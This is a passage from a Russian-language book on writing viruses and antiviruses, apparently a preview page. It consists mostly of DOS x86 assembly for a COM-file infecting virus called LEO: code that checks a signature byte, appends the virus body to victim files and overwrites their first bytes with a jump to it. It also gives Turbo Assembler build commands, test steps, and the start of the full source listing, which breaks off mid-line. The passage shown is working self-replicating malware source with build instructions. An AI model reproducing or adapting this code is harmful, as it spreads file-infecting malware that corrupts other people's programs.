Игорь Гульев

Создаем вирус и антивирус


Скачать книгу

(на последний байт)

      mov ax,4200h

      xor cx,cx

      mov dx,[bp+(offset flen−offset MySelf)]

      dec dx

      int 21h

      ;Читаем сигнатуру вируса

      Read:

      mov ah,3Fh

      xor cx,cx

      inc cx

      mov dx,offset bytik–offset myself

      add dx,bp

      int 21h

      ;Если при чтении файла ошибок не произошло,

      ;проверяем сигнатуру,

      ;иначе ищем следующий файл

      jnc test_bytik

      jmp find_next

      ;Проверяем сигнатуру

      Test_bytik:

      cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

      ;Если сигнатура есть, то ищем другой файл,

      ;если ее нет – будем заражать

      je find_next2

      jmp Not_infected

      Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

      ;Переходим в конец файла

      mov ax,4202h

      xor cx,cx

      xor dx,dx

      int 21h

      ;Устанавливаем регистр DS на сегмент кода

      push cs

      pop ds

      ;Копируем вирус в файл

      mov ah,40h

      mov cx,offset VirEnd–offset la

      mov dx,bp

      sub dx,offset myself−offset la

      int 21h

      ;Записываем в начало файла переход на тело вируса

      Write_Jmp:

      ;Переходим в начало файла

      xor cx,cx

      xor dx,dx

      mov ax,4200h

      int 21h

      ;Записываем первые три байта файла (переход на тело вируса)

      mov ah,40h

      mov cx,3

      mov dx,offset jmpvir–offset myself

      add dx,bp

      int 21h

      После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.

      Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

      tasm.exe leo.asm

      tlink leo.obj/t

      В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер – вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:

      .286 ;Устанавливаем тип процессора

      CheckByte equ 0F0h

      ;Указываем, что регистры CS и DS содержат

      ;адрес сегмента кода программы

      assume cs:code, ds:code

      ;Начало сегмента кода. В конце программы сегмент кода нужно

      ;закрыть – ”code ends”

      code segment

      ;Устанавливаем смещения в сегменте кода.

      ;Данная строчка обязательна

      ;для COM−программы (все COM−программы

      ;начинаются с адреса 100h)

      org 100h

      start:

      ;Имитируем зараженный COM−файл.

      ;Тело вируса начинается с метки la

      ; jmp la

      db 0E9h ;Код команды JMP

      dw offset la–offset real

      real:

      ;Выходим из программы

      mov ah,4Ch

      int